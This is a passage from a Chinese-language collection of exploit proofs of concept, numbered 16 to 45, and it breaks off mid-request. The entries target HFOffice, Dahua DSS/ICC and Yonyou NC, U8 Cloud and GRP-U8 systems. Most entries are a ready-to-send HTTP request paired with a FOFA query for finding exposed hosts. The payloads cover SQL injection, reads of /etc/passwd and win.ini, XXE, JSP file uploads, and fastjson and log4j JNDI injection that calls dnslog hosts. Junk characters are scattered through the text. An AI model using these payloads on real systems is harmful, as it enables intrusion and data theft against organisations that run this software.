+ R3 I" Z) f+ _  r1 mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Language: en
8 g1 o# m& {( U) N/ nsec-ch-ua-platform: Windows
9 D! s/ d  k* t( M1 U6 Q6 AAccept-Encoding: gzip
: A9 T/ X7 z' U/ ~7 A+ o$ n4 `; r2 _

16.  红帆HFOffice医微云SQL注入
& C" r" a6 F7 d9 G% T( R0 I3 q% g) VFOFA：title="HFOffice"
poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
) x- i1 Z+ n% r- T& i8 M  Q2 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
0 X  h4 H. l, `' [" z, ]; }Connection: close
' m# H8 B5 a) tAccept: */*
Accept-Language: en
: ]. t: p5 U' c: k7 y% nAccept-Encoding: gzip
# r. U& E8 p9 o( _, m! V  C" C
% p3 X9 t5 _  {/ p% }& |
. t# v9 n8 a: ^; W, Z17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
; L5 Y7 `' E' R8 P# F& ^2 |; Z$ sPOST /portal/services/itcBulletin?wsdl HTTP/1.1
5 S3 G- B+ @. k  vHost: x.x.x.x
3 D. |! j% G$ o+ Y2 v/ g4 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 X3 A% `8 x' CContent-Length: 345
Accept-Encoding: gzip
. i+ R& \8 H+ P; T( U
: m. o8 `  R: X( ]6 w<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
2 w  ]7 {# Z6 Z2 Q4 V# i0 T' x; T    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
, L0 u! U" D2 [1 e7 b. C    </ns1:deleteBulletin>
  </s11:Body>
2 K  s. q& ~6 n) ~: K</s11:Envelope>

4 H9 U- @- j% i  e$ P
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
: g7 F! x; H; N" G. nFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
0 }: [/ a5 {8 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
4 P) z. Z* `. ?! K: z& d/ YAccept: */*
Connection: keep-alive
0 o. P0 A) Z9 _& S' L# }$ J
# y% g1 f. A( t
- Z; E9 @9 ^  \9 b" ^! I4 y
' Y" B& i8 [3 s; ?1 o3 y19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
* D) A* {- B  W' a2 Y7 I5 YHost:
8 W7 z8 N+ L9 }& p- A# uUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
* P$ s6 K) R$ i4 [. W9 @+ a0 w. lAccept: */*
Connection: keep-alive
; P3 h7 R* y, O2 Q- U
1 F" _1 i. D' @- O: C
20. 大华ICC智能物联综合管理平台任意文件读取
2 S" S5 R) s9 @) K: M+ |FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
8 h# ~% h" O0 t, z8 W) G) c. S1 xUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, W  z! E) a* U+ V' [Connection: close
8 O$ O0 N7 N3 `" `Accept: */*
' N" K) R: J' NAccept-Language: en
! y! L7 E* O* L* hAccept-Encoding: gzip
& o* F& ?; p9 ~0 d

21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
. E# o) ]: m/ L* M& s. q" ?/ JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 y, u% l0 |# m- NContent-Length: 161
. c' Q2 t3 F7 y) e) V$ I/ p  [Accept-Encoding: gzip
8 Y% O6 l, ^8 w$ I' YConnection: close
, Q7 L5 S  G! D4 Z; mContent-Type: application/json;charset=utf-8
3 S9 \3 A8 i8 c6 C2 }7 ?) O5 c" d
{
' b8 y+ g! T) [6 a  U" j"a":{
, v; M* u2 V/ v5 g( f% l   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
/ Z. \9 e- F; _* J( p  }""
}
" U+ v/ E% N0 M8 B
# v0 L" W' o9 \6 A4 T0 t
7 n+ M0 @& f& `+ v- m) p9 v0 `5 a22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
/ R! ?: ?9 J( tPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
; x- @, E' n# `1 g/ EHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8
( b  I, F  S+ \
{
7 v$ T( j1 ]2 c$ S' _"loginName":"${jndi:ldap://dnslog}"
}



23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
( j+ `3 u; z6 J  f3 uFOFA：icon_hash="-1935899595"
& u" F  b- e& l9 c- }POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
( `6 X$ J' S: y* D% h8 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- z9 K* Q# f% A9 T3 RContent-Type: application/json;charset=utf-8
( N- O" [5 [( y; w0 I3 bAccept-Encoding: gzip
Connection: close
; d$ k  _4 i' D! g* _4 [; _, `" e
0 C9 \" U" |9 U{
4 b  N7 j, @. ?    "a":{
! T# ~* P& C0 q/ J        "@type":"com.alibaba.fastjson.JSONObject",
' F; L% a" }: b8 N; y3 C       {"@type":"java.net.URL","val":"http://DNSLOG"}
+ t  J% f+ \6 j! Q/ R5 o4 G1 n        }""
}
! ^! |4 R, l6 `2 d8 @: i' K2 D
# [2 w% c; {& {2 O, r8 ~
24. 用友NC 6.5 accept.jsp任意文件上传
+ n4 n3 n4 T6 K% j3 v6 ~FOFA：icon_hash="1085941792"
+ M& o9 I1 u" V+ x6 D; y0 m8 oPOST /aim/equipmap/accept.jsp HTTP/1.1
9 |0 a* f9 |- U! u* g' uHost: x.x.x.x
% N* N% _2 B4 G& d4 W- p2 z2 Z' jUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
* t. i+ N. z9 b" ZContent-Length: 449
: j4 ^) }: z- }* h& a3 hAccept: */*
& P0 C+ V4 H) U) K( HAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 x; h  U' s- Z. t
& C% Y* T! z9 [# h2 Q7 L+ v-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
7 L# ?# B% A7 `5 S; tContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
9 ]; O- t& E" q1 [8 D# ~Content-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

- `3 k! o0 \' \' x7 n0 H\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


, m& d8 ^; I' D" O9 ^& ?25. 用友NC registerServlet JNDI 远程代码执行
; @+ E; u% Y% f9 _FOFA：app="用友-UFIDA-NC"
+ ]! x9 b! |' H4 K! w: NPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
) B: E, a" q. A' E9 r/ b% \  KAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
- I1 v( w0 S/ Z* W& Z2 lContent-Type: application/x-www-form-urlencoded

' K$ C& C* g2 ]6 c) otype=1&dsname=ldap://dnslog
" L+ T7 T* M  K3 W( i4 A


. @8 A; H0 W& J0 j5 d% ~26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
% {  P' S9 u0 {6 X  r' @' yGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% J5 f/ Y3 g# n4 \* J& v( QHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 g, r4 H! _, `5 P  qContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
* L( W) V' [) n% {3 s+ VConnection: keep-alive


2 H& k- z/ E8 c( ]: o4 w5 [27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) S9 N: W, b% z1 K5 sAccept-Encoding: identity
. H$ j4 g2 }9 O0 a- a4 IConnection: close
' a: e, B9 r8 W& j, E! d( X% }Content-Type: text/xml; charset=utf-8
" A8 W5 t" n7 h4 H3 B: o" Q

* p  ?" o& H  t28. 用友NC grouptemplet 任意文件上传
7 Z9 M$ v# R5 w8 o" {3 f! j. RFOFA：icon_hash="1085941792"
. Z1 v1 k$ P- S- b: Z3 n4 pPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
( G9 ?5 g4 @# L) A+ l, VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
9 G5 d2 d5 i7 J0 p) ^" @Connection: close
Content-Length: 268
6 m' u: X. i& u' \% \6 nContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
8 H+ \- E) E- T$ l. E: CAccept-Encoding: gzip

- I8 l& s# p+ [) i- U3 |+ V------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
) p; [- N# G8 u
4 i% t6 \' ], J# ^<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
2 g' y+ x; g# j. m% n9 ~

/uapim/static/pages/nc/head.jsp
1 o* \  i0 G$ X2 c' c. n
% t, H' Q, v; A3 H" {29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ d. t; b- Y- ZGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
5 v& y  M5 v( ^  b$ V. \, MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 r" z: R/ b  k$ D) |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
/ |, X1 I3 x% T! _2 e6 `Connection: keep-alive
' s% h8 o+ R& }

8 n1 a, ?: j3 Y  s30. 用友NC importPml SQL注入
+ E2 w8 ?. |5 C( q- JFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
6 f) @# |) y# ^Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
: ?7 h1 D- g+ U9 C  bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
4 ^5 r9 U! Q: W+ a) y# y1 BConnection: close
7 ^, T: i# @1 E6 V% W8 z! C% L* n$ A1 W% L
$ ~* e8 w( ]8 M* Z& v4 [------WebKitFormBoundaryH970hbttBhoCyj9V
9 P! ]5 `& _/ n$ \Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
! i& i. [" c' V4 Y( {Content-Type: image/jpeg
$ d5 _5 y+ l" C" G0 l+ L; s------WebKitFormBoundaryH970hbttBhoCyj9V--
# d' Y: V4 P/ e( f7 t! v# e
, r" B( m! f0 _: F% n+ P
( [! b' s. l$ _; U3 |% H31. 用友NC runStateServlet SQL注入
version<=6.5
0 [: I' u- O  e4 JFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
2 U/ C# y) t1 n% c. FHost: host
0 s0 N! U1 M% W+ d1 N0 d$ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 v! O: ~( B: G0 S* BContent-Type: application/x-www-form-urlencoded


8 d8 c. H' h3 i1 c* p' m32. 用友NC complainbilldetail SQL注入
" v8 `) [  g, n3 ?7 x4 c! |$ M  Lversion= NC633、NC65
: D$ x% c) Y% h5 l. N0 iFOFA：app="用友-UFIDA-NC"
4 L) k' ~. P1 a( }' _( mGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
( M- O" C7 W7 SHost: your-ip
2 A9 N0 d/ l  G; B: e* hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. I) T+ M# T  {( j8 wAccept-Encoding: gzip, deflate
+ s$ p7 g- |6 J: I* u( kAccept: */*
Connection: keep-alive

* C* L: h. f# n# a3 o0 p
& T& m0 E- G$ _+ I3 s0 J33. 用友NC downTax/download SQL注入
0 u9 Y6 l+ }3 l+ ?" x5 fversion：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
* ^2 M/ V: |! K- L" _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
, E) L; j8 E7 d* K7 X; r) aAccept: */*
Connection: keep-alive


6 s( a8 G+ f) g: [34. 用友NC warningDetailInfo接口SQL注入
: y* b9 A* l# W8 e0 t* Q' nFOFA：app="用友-UFIDA-NC"
5 `/ c  h" `8 n& s" vGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 j. D# T6 l' B9 e/ c0 h( O, k8 f3 tHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
  ]7 z: i0 \1 h2 X6 S$ cAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
# @2 f6 e* J) J2 c
8 j0 S- t1 t3 X" y- K
35. 用友NC-Cloud importhttpscer任意文件上传
+ c, {' Q& j* EFOFA：app="用友-NC-Cloud"
9 Z7 R+ ?4 p# i( J+ j0 PPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
0 @! f! J; l$ |Accept: */*
Connection: close
4 i( }2 F. m/ H9 laccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
+ u9 K& f) G, ~' M7 e1 PContent-Length: 190
6 u( L7 q5 p# E- C4 h- X0 DContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
* F" B4 a% U, i" n) w' D+ ?/ A( k
--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
8 G+ r7 V  l6 \5 k  S" m  e! x--fd28cb44e829ed1c197ec3bc71748df0--
+ G$ \* D7 {% W- R, a) g- m

6 T5 f9 N6 L( K0 P3 E1 {5 Y* a36. 用友NC-Cloud soapFormat XXE
- F: a% F4 l) Z% EFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
+ F* s7 P% h8 Q! x- x" xHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
9 ^" V3 F4 m+ {$ Q) B6 [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
8 S6 L% y; T- d  X3 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& q( \% D+ n: ?  A9 R9 mConnection: close
/ j: k+ J: S* KContent-Type: application/x-www-form-urlencoded
. i# K( ~% n. G; i: NUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a

0 i7 r  N. ]& x' i5 y
4 l0 S* {6 e0 Q37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
$ {9 U% a! [. R. K1 t8 U" HPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
4 r7 |, |+ H% ?3 b( Z* ?Host: 192.168.40.130:8989
8 l' r$ r/ [, P/ Q- AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
, Z- X- G  l5 t6 _) RContent-Length: 421
1 n: U% Y2 D1 j' _: }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- H7 U. i, V* R) B+ W4 v- Y2 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* E! G8 E4 E! b- O2 a3 z, zConnection: close
Content-Type: text/xml;charset=UTF-8
6 I7 g' g! Q, `7 b1 r0 }SOAPAction: urn:getResult
" U* G2 a# P5 C( S- `6 jUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
5 L8 X( v# L9 ^  F/ {<soapenv:Header/>
<soapenv:Body>
<iup:getResult>
1 w2 ]& D; b0 n) n, O$ W5 R! e<!--type: string-->
<iup:string><![CDATA[
( T$ }2 I: K) Q9 p) ?<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
/ H. A, c' u" ~- r2 b<xxx/>]]></iup:string>
! k" D  {4 S+ V$ t" Z: i</iup:getResult>
& H# y- g2 Q" H0 ~$ D0 y6 A</soapenv:Body>
</soapenv:Envelope>


4 c4 g; t: T, L$ g# m  S
38. 用友U8 Cloud smartweb2.RPC.d XXE
, O% g9 Y/ V0 P+ F% K4 vFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
: R! |% L+ N4 ^9 H3 y; d9 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
4 o. V% z* `0 c, I" Q) }( j1 uContent-Length: 260
0 f. l1 M0 z) P- BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
5 o2 X4 F7 o: }Accept-Language: zh-CN,zh;q=0.9
5 X( z. B$ P+ x7 y  l* Z( uConnection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


39. 用友U8 Cloud RegisterServlet SQL注入
8 o5 ?6 x: [; v6 A) D/ p2 TFOFA：title="u8c"
# K  B- B# |) ]$ N2 Y6 B9 tPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
) Z$ D: K6 r4 Q1 S+ `2 yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
& Y# s6 U& z' U- |  `4 d8 |Connection: close
% p) c. q' `+ P' u& ?Content-Length: 85
: ?/ `- r% J% G; N8 KAccept: */*
9 f, L6 Z( V9 ~- Y% M7 bAccept-Language: en
, u3 M. G# T4 g* K" U# CContent-Type: application/x-www-form-urlencoded
% c  A( ^! M/ m% m' V4 dX-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
3 s" m' e. ?. }5 a" ^4 i
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
' R& G* H4 r1 p4 t8 T# NFOFA：app="用友-U8-Cloud"
  u/ T# @# g+ a# h( K6 z1 O( k" nPOST /service/XChangeServlet HTTP/1.1
2 N5 @0 O$ a  W" q  \  PHost: x.x.x.x
6 |! J; F) L3 C, K$ Z5 l8 O! |User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ C4 d. _* X# b+ UContent-Type: text/xml
Connection: close
+ t- F7 L( ]. @2 q5 G
( p: w5 j9 z" y  o7 G$ P<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
+ Q( F2 [8 \8 j, i7 T+ d! w) y

41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
9 y9 H6 j$ J9 v5 C& `FOFA：app="用友-U8-Cloud"
0 R5 u, Q7 X/ M* }, L( o4 W7 TGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
8 S: g! B& B" F& r- ~. uHost:
3 |5 }) V% D. u; lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
- U( U/ n  l' X( L2 ~) P) aAccept-Encoding: gzip
Connection: close

2 Y9 X( x: W" N, `3 ]. G. d  U
42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
! |# A. e( w! e4 p1 f) LHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
( h( K: a8 t( m0 R2 E+ b& OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD


  J, a- Q% ]/ ?; t, Thttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
; u+ e9 s: R; L- ?1 N: v" V
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
0 [. a% u# @4 x1 e3 m4 D0 aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 G5 ?  }' n, S  K2 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
' |3 l6 I6 i+ M* C0 S   <soapenv:Header/>
% D* B6 w& H7 e) G0 C( m9 H  q* U- F/ b   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
; {# {. M! s# t: J+ {& U9 o         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
2 W+ ^- b$ I5 x4 W/ v9 G9 D      </ser:getUserNameById>
   </soapenv:Body>
5 C. K# R# z$ Y3 [' D</soapenv:Envelope>
) ~8 o( @* W# F" I( N( H$ g" D  R
  w; E  X/ a* V
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
2 D, ?3 q+ e( Q* D) J5 aGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
9 S' w2 U) x* N( S) IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
8 v' p8 Y1 Z+ @" _6 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 y+ s- ~" [6 T- g# YAccept-Encoding: gzip, deflate
5 ?. R: [6 {7 }' A4 Q  mAccept-Language: zh-CN,zh;q=0.9
/ W0 @% K0 }- s  w3 \  }- SConnection: close


45. 用友GRP-U8 ufgovbank XXE
) W  H5 v5 |8 T* qFOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
2 m  _, P( c* E) L$ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
6 k. G( t( m! l4 L" D1 qContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 ^3 w) B; ^3 F8 l2 a- L! q5 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  i) [: O* U9 H0 G3 i, |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
